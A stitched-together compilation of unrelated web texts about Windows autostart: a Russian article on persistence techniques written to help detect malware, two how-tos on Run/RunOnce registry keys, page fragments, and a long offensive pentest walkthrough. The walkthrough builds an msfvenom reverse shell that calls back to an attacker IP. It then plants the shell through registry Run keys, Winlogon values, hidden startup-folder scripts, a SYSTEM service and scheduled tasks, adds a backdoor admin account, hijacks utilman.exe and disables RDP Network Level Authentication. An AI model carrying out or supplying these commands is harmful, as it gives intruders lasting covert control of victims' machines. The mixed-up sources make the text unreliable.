Уровень сложностиСредний
Время на прочтение6 мин
Количество просмотров18K
Основной задачей, которую необходимо решить вредоносному файлу сразу после запуска является закрепление в системе, то есть обеспечение возможно постоянной работы данного процесса в системе. То есть, злоумышленнику необходимо, чтобы процесс, с помощью которого он может получить доступ в систему (троян, бэкдор и т. д.) запускался бы автоматически при загрузке системы и работал во время всего сеанса работы системы. Существует несколько методов закрепиться в системе. В этой статье мы рассмотрим наиболее распространенные способы закрепления в ОС Windows, а также посмотрим, как некоторые из этих техник выглядят в отладчике. Будем считать, что для запуска нужного процесса злоумышленнику так или иначе необходимо запустить выполнимый файл.
Ветка Run
Начнем с наиболее известного места, где можно прописать автоматический запуск приложения при старте системы — реестра Windows. И прежде всего приложения, желающие стартовать вместе с ОС прописывают себя в ветки
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Для первого варианта нам необходимы права локального администратора. Для того, чтобы прописать автоматический запуск файла, необходимо добавить новое значение в ветку Run.
Однако, важно понимать, что манипуляции с данными ветками реестра также отслеживают и средства защиты. Так антивирус будет очень внимательно следить за тем, какие приложения собираются прописать свои файлы в эти ветки реестра. И попытка неизвестного ранее приложения прописаться в ветку Run может привести к срабатыванию антивируса.
Также, если вам необходимо один раз выполнить какой-либо файл. Например, вам необходимо прописать в системе сервис, то можно воспользоваться ключом RunOnce.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Если мы хотим выполнить файл один раз для конкретного пользователя, то необходимо прописать файл в ветке:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Однако, этими, наиболее известными ветками реестра возможности спрятаться в автозагрузку не ограничиваются. Так, за автозагрузку в профиле текущего пользователя отвечают ветки реестра показанные ниже.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Shared Tools\Msinfo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Shared Tools\Msinfo
Посмотрим, как код, правящий реестр выглядит в отладчике.
Конечно, любой здравомыслящий вредонос постарается максимально скрыть от отладки как разделы памяти в которых указаны ветки реестра и записываемые значения, так и сами вызовы функций для работы с реестром. Но в представленном на скриншоте примере мы видим обращения к реестру: RegOpenKeyEx, RegCreateKey, RegCloseKey. По вызовам этих функций можно понять, что приложение в принципе работает с реестром. В случае, если вносятся правки в представленные выше ветки, то вероятнее всего мы имеем дело с вредоносом.
Сервисы в реестре
Еще одним способом поселиться в автозагрузку является использование системных служб – сервисов. Сервис (служба) – это приложение, автоматически исполняемое системой при запуске операционной системы Windows и выполняющиеся вне зависимости от статуса пользователя.
Существует несколько режимов для служб:
-
запрещён к запуску;
-
ручной запуск (по запросу);
-
автоматический запуск при загрузке компьютера;
-
автоматический (отложенный) запуск;
-
обязательная служба/драйвер (автоматический запуск и невозможность (для пользователя) остановить службу).
Соответственно, для того, чтобы осуществить автоматический запуск какого-либо выполнимого файла, нам необходимо прописать его как сервис. И здесь кроются некоторые сложности. Дело в том, что сервис – это, не совсем обычный выполнимый файл. Для его запуска недостаточно просто создать exe файл и запустить его. Вместо этого нам необходимо зарегистрировать сервис в системе и только потом его можно запускать.
На скриншоте ниже представлен фрагмент кода, в котором формируется набор значений в стеке (в том числе имя выполняемого файла и самого сервиса) и затем все это передается функции CreateService для создания сервиса.
После того, как сервис зарегистрирован в системе его можно запустить с помощью вызова функции OpenService.
Помимо использования функций ОС предназначенных непосредственно для работы с сервисами, для регистрации и запуска сервиса можно воспользоваться командой sc. В примере ниже мы создаем процесс, который запускает команду sc start NewServ. CreateProcess не единственная функция для запуска процессов. В одной из предыдущих статей по реверсингу мы использовали функцию WinExec для запуска калькулятора при реализации переполнения буфера.
В общем, не стоит забывать про такой простой способ работы с сервисами, как консольные команды.
И еще с сервисами можно работать через реестр. Для этого предназначена ветка
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\
В ней находятся разделы, описывающие работу каждого из сервисов, зарегистрированных в операционной системе.
На скриншоте показаны параметры сервиса DHCP. Как видно, в этой ветке имеются параметры, отвечающие за параметры запуска сервиса, аккаунт, от которого он запускается и собственно сам путь к выполнимому файлу. Таким образом, работу с сервисами можно организовать с помощью манипуляций с реестром.
Скрытый отладчик
Представленные выше способы регистрации в автозагрузке в большей или меньшей степени видны пользователю системы. Так запущенные сервисы можно легко увидеть в соответствующей оснастке, а ветки Run хорошо всем известны, и можно без труда проверить их содержимое.
Однако, в реестре есть менее известные ветки, в которые тоже можно подселить выполнимый файл. В данном случае речь пойдет не совсем об автозагрузке как таковой, но при желании здесь тоже можно организовать автозапуск.
Разработчики из Майкрософт очень любят оставлять себе лазейки в виде недокументированных возможностей. В частности, они предусмотрели функционал по автоматическому запуску отладчика для заданного приложения. Работает это следующим образом: в ветке реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Image File Execution Options\
Мы создаем раздел с именем запускаемого приложения, а в этом разделе создаем параметр Debug в котором уже указываем выполнимый файл, запускаемый в реальности.
То есть, в примере на скриншоте при попытке запуска калькулятора у нас запустится некий prog.exe. Таким образом можно под видом одного приложения запустить другое. Можно к примеру подменить экранную клавиатуру (osk.exe) на командную строку (cmd.exe). В результате можно будет на заблокированном компьютере вызывать клавиатуру и получать командную строку, причем с правами System!
Небезопасные обновления
Продолжая тему реестра и размещения приложений в нем, мы можем поправить команды, которые выполняются при обновлении тех или иных компонентов. В ветке
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\
Указаны GUID установленных компонентов и для многих из них можно найти параметры StubPath и Version. Далее процитируем официальную документацию Майкрософт:
При входе пользователя система сравнивает содержимое разделов HKLM\Software\Microsoft\Active Setup\Installed Components и HKCU\Software\Microsoft\Active Setup\Installed Components. Для каждого раздела в HKLM должна быть копия с тем же GUID в HKCU. Дальше есть три варианта развития событий:
1. Если копии нет, то выполняется команда, указанная в StubPath, после чего в HKCU создается раздел с тем же GUID и прочими параметрами.
2. Если копия есть, то сравнивается значение параметра Version. Если версия в HKCU младше, чем в HKLM, то задание отрабатывает повторно, после чего номер версии в HKCU обновляется.
3. Если же раздел с одинаковым GUID есть и в HKLM и в HKCU и номер версии у них совпадает, то значит компонент уже отработал для данного пользователя и запускать его не требуется.
Таким образом мы можем поиграться со значением StubPath и версиями для того, чтобы в итоге выполнить то, что нам нужно. По сути, здесь тоже можно реализовать автозагрузку.
Переселяем папки
Также с помощью реестра можно “перепрятать” разделы из меню Пуск. В ветке HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Размещаются пути к различным компонентам, включая меню Автозагрузка. Соответственно, здесь мы тоже можем поменять значения параметров для того, чтобы запускать файлы из другого каталога.
Планировщик задач
Помимо реестра мы можем попробовать прописать свое приложение в XML файлы с описанием задач. В каталоге %WINDIR%\System32\Tasks находятся XML файлы в которых прописано выполнение тех или иных действий и расписание, по которому эти действия выполняются.
Помимо прочего, в них можно найти и те команды, которые должны выполняться в рамках этой задачи.
Таким образом мы получаем еще один вектор для закрепления в системе.
Заключение
В этой статье мы рассмотрели основные методы размещения выполнимых файлов в системе для автозагрузки. Знание этих методов может помочь в выявлении подозрительных активностей злоумышленников в системе.
О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.
- To configure the “RunOnce” key, open the “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce” Registry path and create a String Value with the command to run.
- To configure the “Run” key, open the “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” Registry path and create a String Value with the command to run.
- You can use “!” for the name of the key to ignore deletion or “*” to run the key in Safe Mode.
On Windows 11 (and 10), you can use the “Run” and “RunOnce” Registry keys to run apps and scripts during startup as the user logs in to the account. Of course, you can always use run programs at logon with the “Startup” folder, but the Registry is another approach you have at your disposal.
The “Run” key allows you to execute a program whenever the user logs in to their Windows account. On the other hand, the “RunOnce” key runs a program only once, and then the system removes the key.
Although you can use the “Run” key every time the user logs in, the “RunOnce” key should only be used for those “one-time” cases, such as to complete app setup, map a networked drive once, or change a setting, and you shouldn’t use it continuously.
You can use these Registry keys on a per-user or per-device basis and configure multiple entries inside these keys. The only caveat is that the command cannot have more than 260 characters.
In this guide, I will outline what you need to know to leverage the Registry to run programs at logon on Windows 11 (or even on Windows 10).
- Configure RunOnce key on Windows
- Configure Run key on Windows
Warning: It’s crucial to note that modifying the Registry can cause serious problems if not used properly. It’s assumed you know what you’re doing and created a full backup of your system before proceeding.
Configure RunOnce key on Windows
To set up the RunOnce key through the Registry, use these steps:
-
Open Start on Windows 11.
-
Search for regedit and click the top result to open the Registry.
-
Open the following path to configure the “RunOnce” key for the current user:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
-
Open the following path to configure the “RunOnce” key for the machine:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
-
Right-click the Run key, choose New, and select the String Value option.
-
Confirm a name that describes the command and press Enter.
Quick tip: By default, the system will delete the keys before they even run, but you can append a “!” (exclamation mark), such as “!MyRunKey,” to delete the string after the command runs successfully. You can also append the “*” (asterisk), such as “*MyRunKey,” to run the command in Safe Mode. Otherwise, the keys will be ignored.
-
Right-click the newly created string and choose the Modify option.
-
Confirm the command to the script or program to run.
Quick tip: You can also specify additional options as necessary to run the command.
-
Click the OK button.
After you complete the steps, the system will run the command in the string one time, but only for users who are part of the “Administrators” group, meaning that this won’t work for standard users.
Configure Run key on Windows
To configure the “Run” key on Windows 11 (or 10), use these steps:
-
Open Start.
-
Search for regedit and click the top result to open the Registry.
-
Open the following path to configure the “Run” key for the current user:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
-
Open the following path to configure the “Run” key for the machine:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
-
Right-click the Run key, choose New, and select the String Value option.
-
Confirm a name that describes the command and press Enter.
-
Right-click the newly created string and choose the Modify option.
-
Confirm the command to the script or program to run.
Quick tip: You can also specify additional options as necessary to run the command.
-
Click the OK button.
Once you complete the steps, the system will run the commands in the Registry string every time the user logs in to the account.
Why You Can Trust Pureinfotech
The author combines expert insights with user-centric guidance, rigorously researching and testing to ensure you receive trustworthy, easy-to-follow tech guides. Review the publishing process.
Today was one of these days. Faced with a new problem I’ve never come across before. I was trying to configure a task to run once and only once on the server was provisioned for the first time. Something like a bootstrap script. In my quest to solve that problem, I came across a thing called Run and RunOnce registry keys!
What are Run(Once) registry keys?
Who knew that these things even existed, but here we are. So what do these keys really do? Let’s grab the definition from the official documentation on [MSDN](https://msdn.microsoft.com/en-us/library/aa376977(v=vs.85).aspx» target=»_blank)
Run and RunOnce registry keys cause programs to run each time that a user logs on. The data value for a key is a command line. Register programs to run by adding entries of the form
description-string=commandline
. You can write multiple entries under a key. If more than one program is registered under any particular key, the order in which those programs run is indeterminate.
The Windows registry contains these 4 keys:
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
Although they look very similar, there are subtle changes which we’ll need to highlight.
HKCU keys will run the task when a specific user, while HKLM keys will run the task at first machine boot, regardless of the user logging in.
The Run registry keys will run the task every time there’s a login. The RunOnce registry keys will run the taks once and then delete that key.
If you want to ensure that a RunOnce key is deleted only if its task is run successfully, you can prepend the key name value with an exclamation mark ‘!’.
In addition, if you want the RunOnce command to run even in Safe Mode, you can prepend the key name value with an asterisk ‘*’.
This is great at so many levels because you can execute some really powerful and complex tasks during the machine’s startup. In my case, I had to apply some DNS settings using PowerShell.
Configuration
You can configure the keys manually by firing up regedit.exe
and navigating to the appropriate key.
Then you need to add a new string, give it a name and configure the appropriate task as it’s value.
However, if you aren’t not a GUI enthusiast and you prefer scripting it (I like PoSH for most things these days), you can run the following command to configure a new RunOnce task. Open a new PowerShell window and type the following:
Set-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name '!RegisterDNS' -Value "c:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -command 'Register-DnsClient'"
And that’s all there is to it. With a couple of lines of PowerShell or a few clicks in the GUI, we can quickly setup a task to run once or at every login for a specific user or every user. A handy little utility and, as we all know, it’s the small things/wins that count, right?
Provide feedback
Saved searches
Use saved searches to filter your results more quickly
Sign up
Appearance settings
For this post we will be exploring various techniques that can be used to establish persistence on a Windows victim. Since there are so many tools and techniques when it comes to persistence, I have decided to break this down into multiple posts, starting with manual techniques.
In total we will explore seven manual methods for persistence and we will also see how we can use three of those methods to obtain persistence with a standard user, giving us a grand total of TEN ways to manually establish persistence!
Persistence or “maintaining access” is step number four out of the five steps in the attacker methodology and comes after “gaining access”. However, there is a missing piece here because after gaining access, us as attackers generally want to escalate privileges before we setup our persistence.
Escalating privileges is an essential step before establishing persistence as majority of the techniques we will be reviewing require elevated permissions, which would be either local admin, local SYSTEM, or domain admin.
When it comes to persistence techniques, they tend to fall under a few different categories as they have different requirements. The three different types or “categories” of persistence techniques we are going to explore are: persistence on login, persistence on reboot, and persistence on demand.
Windows Run Key Order
Before we get into the good stuff, it is important to understand the run key order for when a machine starts up and a user logs in. This allows us to understand what’s happening and when. This is essential as this helps us determine if a persistence technique will trigger our backdoor on login or system startup / reboot.
Below the run key order shows that when the machine first starts up, services are executed before any user even logs in.
Additionally, it shows us that certain registry keys (HKLM) are associated with the machine (LM = local machine) and trigger next once any user logs in. We also see that there is another set of keys (HKCU) that trigger when a specific user logs in, which are specific to that user (CU = current user). Lastly, the batch scripts inside the startup folders are executed.
Persistence on Login
The first category of persistence we will cover is persistence on login. Essentially, this is exactly as it sounds and it requires a user to login to the machine to trigger a backdoor executable that we plant on the system.
Persistent Startup Registry Keys: Standard User
After managing to get a foothold on a target Windows machine, it may be a good idea to establish persistence right away, even as a standard user. You never know how long your shell will last and if it will get killed – better yet – when it will get killed by the user who is physically on the machine.
As a standard user, there are two registry keys we can edit that will allow us to establish persistence. The keys we are targeting are the registry startup keys. If we add a value to one of these keys to executes a command for us, we can execute a reverse shell executable (backdoor) every time the current user logs in.
The two keys we can target as a standard user are the following:
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
The Run key makes the program run every time the user logs on, while the RunOnce key makes the program run one time, and then the key is deleted.
There are also two keys that are non-default but can be created to add a backdoor into, and those are RunEx and RunOnceEx.
Since the registry tampering is taking place in the HKCU root key, it will be required for this specific user to login for the startup key to execute our backdoor.
For this example, we will craft an executable on our attacker machine using msfvenom to establish our persistent backdoor.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o bckdr.exe
Once the backdoor executable has been created, transfer it to the victim and for some stealth, place it in an inconspicuous location.
To see A LOT of different ways to transfer files to / from a Windows victim, check out my post on the topic here.
For this step I setup an HTTP server on my attacker machine and then downloaded bckdr.exe onto the victim into the C:\Users\vcreed\appdata\local\temp directory using curl.
Now that the malicious backdoor executable is on the victim, we can edit the registry to setup our persistent backdoor. We will use the first registry key from above for this example: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Using the reg add command, we can setup the persistent backdoor like so:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Users\vcreed\appdata\local\temp\bckdr.exe"
Then, we can also use the reg query command to confirm the backdoor has been created.
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
Here we see that the backdoor has been setup successfully. Now whenever the user logs in, our bckdr.exe will get executed and push a shell to our listener.
To show this in action, we will first need to setup a netcat listener on port 443 on our attacker machine. After that we can simply sign the user out on the victim machine and then log back in.
Once the user signs out it burns our initial shell; however, once the user logs back in, it executes our backdoor we planted in the registry and provides us with a new shell on our listener.
Persistent Startup Registry Keys: Elevated User
For this example we have managed to elevate our privileges from a standard user to local SYSTEM. Now that we are a privileged user, we can setup our backdoor in the HKLM root key. Unlike when we added a value to the HKCU root key, by adding a value to the startup key in the HKLM root key, our backdoor will execute whenever ANY user logs in.
The awesome thing about this is that the shell that gets pushed to us from our backdoor is under the context of the logged in user. If a domain admin happens to login to this machine, that will trigger our backdoor and give us a shell as the DA!
Just like the last example, there are also two registry startup keys we can target as an elevated user.
The two keys we can target as a standard user are the following:
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Same as before, we could create the two keys that are non-default to add a backdoor into: RunEx and RunOnceEx.
For this example we will use the same malicious backdoor executable that is already on the victim and we will use the second registry key above: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
Remember, the RunOnce registry key only “runs once”, and then it is deleted.
Using the reg add command, we can setup the persistent backdoor like so:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v backdoor /t REG_SZ /d "C:\Users\vcreed\appdata\local\temp\bckdr.exe"
Now we just need to start a netcat listener on port 443 again and wait for a user to login.
For POC, we will login to the machine as the domain admin and we will see our backdoor execute and give us a shell as that user.
A minute after the DA has logged in, looking back on our listener, we get a shell as the DA!
Persistent Winlogon Registry Key
Winlogon is a Windows component which handles operations such as logon, logoff, loading a user’s profile during authentication, and more.
Winlogon is managed by the registry, which means we can setup persistence by adding additional data to a couple of existing values. This is similar to what we did with the startup keys (Run / RunOnce); however, instead of creating a new value, we will be editing existing ones.
There are two values in the registry that we can update to add our backdoor executable to and those are:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
For this example we will be working from our elevated SYSTEM shell. Since we are making changes to the HKLM root key, this technique requires elevated privileges and cannot be performed by a standard user.
Checking the registry, we can see that both of these values are already set to execute explorer.exe and userinit.exe respectively.
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
To obtain persistence, we only need to update one of these values with our backdoor; however, we need to keep the original EXE in the value so that both the actual EXE and the backdoor trigger at the same time. If we replaced the binary straight up for our malicious backdoor, the system would break when a user logs in.
Again, for this example we will just use the bckdr.exe we created earlier as our backdoor executable. We can add this to the Shell value and/or the Userinit value with the following commands:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, C:\Users\vcreed\appdata\local\temp\bckdr.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe, C:\Users\vcreed\appdata\local\temp\bckdr.exe" /f
For this example we will add our backdoor to the Userinit value and then confirm it has been updated with the reg query command again.
Now when a user logs in, userinit.exe will execute and everything will seem normal… but in addition to Userinit executing, our backdoor will also execute and provide us with a reverse shell as the user who logs in.
To see this in action, we will start a netcat listener on port 443 on our attacker machine and then sign out of the currently logged in user and then log in as the DA again.
Since Winlogon is higher in the run key order than Run / RunOnce, you will notice that the shell will be pushed to the listener even before the GUI loads. This is because userinit.exe loads before explorer.exe so our shell gets pushed early in the user profile loading process.
Persistent Startup Folder Backdoor: Standard User
Let’s take a step away from registry tampering and have a look at a different place we can get startup execution. For every user that logs into a Windows host, a profile for that user is created. In that profile, a folder named: C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
If we as the attacker place a malicious batch script in this folder, then whenever the user logs in it will execute the batch script to do something malicious for us, which in this case it will provide us with a shell.
One thing to note is that from the Windows run key order, anything executing from a startup folder is the last thing to occur when a user is logging in.
The easiest way we could abuse this is to craft a simple batch script with a single command inside that executes our bckdr.exe file, like so:
echo C:\Users\vcreed\appdata\local\temp\bckdr.exe > "C:\Users\vcreed\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bckdr.bat"
However, if we look at the victim machine’s GUI, we see that when the user logs in, an ugly CMD prompt pops up and gives us away!
To avoid this issue, we can use a PowerShell command in the batch script to execute the backdoor instead. This way, we can use the -w hidden flag to hide the window when it executes. Use the following command to replace our existing bckdr.bat with our new PowerShell command:
echo powershell -ep bypass -w hidden -c C:\Users\vcreed\appdata\local\temp\bckdr.exe > "C:\Users\vcreed\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bckdr.bat"
This time when we do our POC and log out of the user and log back in again, a CMD prompt flashes on the screen quickly and disappears, leaving us less likely to get caught as we get our backdoor shell pushed to us.
Since this is a batch script we could switch up the payload and download nc.exe onto the victim and then have the batch script push a shell with netcat. That is just one example, but there are many more options available when it comes to batch script backdoors.
Persistent Startup Folder Backdoor: Elevated User
For this example, we have managed to elevate our privileges from a standard user to local SYSTEM. Now that we are a privileged user, we can setup our backdoor in the global startup folder. This differs from the users startup folder, which only executes when that specific user logs in, whereas with the global startup folder, all files in the startup folder execute for ANY user that logs in.
The global startup folder is located at: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp where only users with elevated privileges have write permissions by default.
Utilizing our bckdr.exe again, we can create a backdoor batch file in the global startup folder that will use PowerShell to hide the window again. This can be accomplished with the following echo command:
echo powershell -ep bypass -w hidden -c C:\Users\vcreed\appdata\local\temp\bckdr.exe > "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\bckdr.bat"
With our new backdoor setup in the global startup folder, lets see what happens when the domain admin logs into the workstation.
Start a netcat listener on port 443 and then when we login as the domain admin, we should see the CMD prompt quickly pop up and then disappear just like last time. After that, we should have a reverse shell on our listener as the DA.
Persistence on Startup / Reboot
Referencing the run key order again, we can see that there are two things that occur when a system boots up: First the BootExecute registry subkey is executed and secondly the services are started. We cannot tamper with the BootExecute registry subkey to execute our backdoor, but we sure can create a service to execute it for us.
Persistent Auto Start Service
To utilize services to as a means to establish persistence, we can simply create a service and point the binary path to our bckdr.exe file.
Creating a service requires elevated privileges so we will be working from our SYSTEM shell again for this example.
Another way we could establish persistence is by editing an existing service to point to our malicious bckdr.exe file. With is technique we need to pick our service wisely as the original service will not run.
There is a scenario where a regular user could establish persistence and that is with a misconfigured service that allows write access to regular users. This is more of a privilege escalation technique; however, it could also serve as a means for persistence.
To create a service we can use the sc command from a cmd.exe prompt and point to our bckdr.exe file with the following command:
sc create Backdoor binpath= "cmd.exe /k C:\Users\vcreed\appdata\local\temp\bckdr.exe" start="auto" obj="LocalSystem"
Similarly, we can accomplish the same thing using PowerShell and the New-Service cmdlet, like so:
New-Service -Name "Backdoor" -BinaryPathName "C:\Users\vcreed\appdata\local\temp\bckdr.exe" -StartupType Automatic
We can see the service was successfully created with start set to “auto”, which means that every time the system boots up, our backdoor will execute! Also, we set the “obj” to local system which means our backdoor will execute as SYSTEM.
Since the binpath uses cmd.exe to execute the bckdr.exe file, we could actually use different payloads here like an nc.exe command to push a shell or a PowerShell command to download a Nishang reverse TCP script directly into memory.
To confirm that the service has been created, we can check the registry since all services create a registry entry at HKLM\System\CurrentControlSet\Services\ — This why elevated privileges are necessary to create a service as the HKLM key cannot be written to by a standard user.
reg query "HKLM\System\CurrentControlSet\Services\Backdoor"
Additionally, we can confirm this with the sc command, like so:
sc qc Backdoor
Now that our service has been created and we have confirmed that the registry entry has been made and everything it set how we like, we can trigger an event by restarting the machine. With a netcat listener running on port 443, we should receive a SYSTEM shell once the system boots up before any user even logs in.
From our SYSTEM shell, we can trigger a reboot with the following command:
shutdown /r /t 0
This will kill our current shell, but less that a minute later, the system boots up and we get a new SYSTEM shell from our persistent service.
Persistence with Every Minute that Passes
When setting up persistence using scheduled tasks, we can set them to execute from different events. This makes a scheduled task a sort of “hybrid” persistence technique as we can create tasks to execute our backdoor such as: on login, on start, on idle, and every X minutes.
Persistent Scheduled Task: Standard User
A standard user has the ability to create a scheduled task as a form of persistence. However, when creating a scheduled task as a standard user we will only have one type of task available (executes every X minutes) to get our backdoor sent to us.
A standard user cannot create a scheduled task to execute on logon or on start; however, they can create a task to execute every X minutes or after X minutes of idle time.
For example, the following two tasks could be created as a standard user. The first will run every minute and the second one will run after 1 minute of idle time.
schtasks /create /sc minute /mo 1 /tn "backdoor" /tr C:\Users\vcreed\appdata\local\temp\bckdr.exe
schtasks /create /sc onidle /i 1 /tn "backdoor" /tr C:\Users\vcreed\appdata\local\temp\bckdr.exe
Using the first command, we can see it creates the scheduled task successfully. After that, we can start a netcat listener on port 443 again and every minute that passes while this users profile is loaded (signed-in), we will get a shell as that user pushed to our listener.
And after waiting a minute, we get our shell.
Persistence on Demand
The final set of persistence techniques will be always available and not require any event to regain access to a machine. This type of persistence is most desirable as it allows us to continue working right away after our shell dies with no down time waiting for an event to occur.
All of the techniques in this section require elevated access so we will be working from our SYSTEM shell once again for the remainder of the examples.
Persistent Scheduled Task: Elevated User
When it comes to persistent scheduled tasks as an elevated user, we have a lot more options available as we can create persistence on login, on start, or every X minutes.
As SYSTEM the idle time task doesn’t make sense to use since SYSTEM will not actually by logged in.
We have already seen examples of persistence on login and on start, so for this example, lets see what happens when a scheduled task is created to run every 1 minute as SYSTEM.
Using the following command we can craft our malicious scheduled task:
schtasks /create /sc minute /mo 1 /tn "backdoor" /tr C:\Users\vcreed\appdata\local\temp\bckdr.exe /ru "SYSTEM"
Now that we have the scheduled task created to run as SYSTEM, we have successfully created persistence on demand. To see this in action, sign out of all users or reboot the machine and then start a netcat listener on port 443 and wait. After a minute a SYSTEM shell will be presented without any events occurring.
Compared to the scheduled task we created as a standard user earlier, this one was created as SYSTEM and applies to ALL users and to the machine as a whole so it will run continuously as long as the machine is running. When we created our task as the standard user, we needed the user to be logged in for our backdoor to get pushed to us every minute due to the task only being applied to the user that created it.
Persistent Local Admin User
Quite possibly the easiest form or persistence is to simply create a user on the local machine and then give them local admin privileges so that the account can be utilized to login at our convenience.
This technique would also work on a DC to create a domain admin user, but I am going to save that for a domain specific persistence post in the near future.
Since we are working from our elevated SYSTEM shell, we can create a user named ‘backdoor’ and add them to the local administrators group using the following two commands:
net user backdoor P@ssw0rd /add
net localgroup administrator backdoor /add
Now that our local admin user has been created, we can just RDP into the host and then open an elevated cmd prompt.
Unfortunately, with this technique we cannot use psexec.py to login because it will try to run with out the elevated token, resulting in insufficient permissions to write to the ADMIN$ share, resulting in no shell.
However, RDP will work. On our attacker machine we can use xfreerdp to start an RDP session and then run cmd.exe as administrator
sudo xfreerdp /u:backdoor /p:P@ssw0rd /v:172.16.1.200
Another technique we can use to get a shell as this user is to utilize the PowerShell runas technique to get a medium-integrity shell as our local admin user we created. Form there we could perform UAC bypass to elevate to a high-integrity shell. Once the UAC bypass has been successfully performed, we will get a new shell that has all the administrator privileges enabled.
For an example on how to use runas to get a medium-integrity shell and UAC bypass to elevate to a high-integrity one, check out the section about it in my post on dumping the LSASS process here. Additionally I have a post on various UAC bypass techniques that you can check out here.
Persistent SYSTEM Access via RDP
To establish persistence over RDP, we will be using rdesktop to jump into a SYSTEM shell right away without entering credentials! To do this, we will be utilizing a built-in tool called utilman.exe as our means to establish a persistent back door.
To accomplish this, we need to either update a registry value where utilman.exe is used and set the data to point to cmd.exe.
This technique can also be used for privilege escalation as we can obtain a SYSTEM shell without knowing a user’s credentials; however, this will only work for privesc if utilman.exe has already been set to point to cmd.exe by the system admin.
Since we need to make changes to either the HKLM registry key or to utilman.exe in C:\Windows\System32, we need elevated privileges to setup our persistence.
For the first technique, we can edit the registry to point to cmd.exe with the following reg add command:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
Alternatively, we could backup the existing utilman.exe and then replace it with cmd.exe. However, this technique requires GUI as you cannot delete utilman.exe on a live system, which means we need to use the tool in recovery mode to make changes to it.
Similar to the local SAM file. utilman.exe is a system file and will not allow renaming, deleting, etc. from within a live Windows 10 environment.
That being said, for this example we will tamper with the registry to make utilman.exe point to cmd.exe and allow us to create our persistent SYSTEM shell.
At this point utilman is setup so that when “Ease-of-Access” is clicked, it spawns a SYSTEM shell; however, there is still one more configuration we need to do so that we can get a Window’s login screen through RDP.
An attacker can use rdesktop to get into the Window’s login screen, but only if the machine has “Require computers to use Network Level Authentication to connect” disabled, which by default is enabled on modern Window’s machines.
We can bypass this issue and disable network level authentication through the registry, which allow us to connect to RDP without supplying a user / pass combo to “pre-authenticate”.
To disable network level authentication, use the following reg add command:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f
Now that the required registry key’s have been altered to make this attack work, we can get our SYSTEM shell using rdesktop with the following command:
sudo rdesktop 172.16.1.200
Now, just as the image above suggests, when we click Ease-of-Access we will spawn a SYSTEM shell.
A very similar technique can be accomplished using another built-in binary called sethc.exe.
Final Note
We went through seven different techniques for manual persistence and we were also able to see that three of those techniques could be utilized to obtain persistence as a standard user.
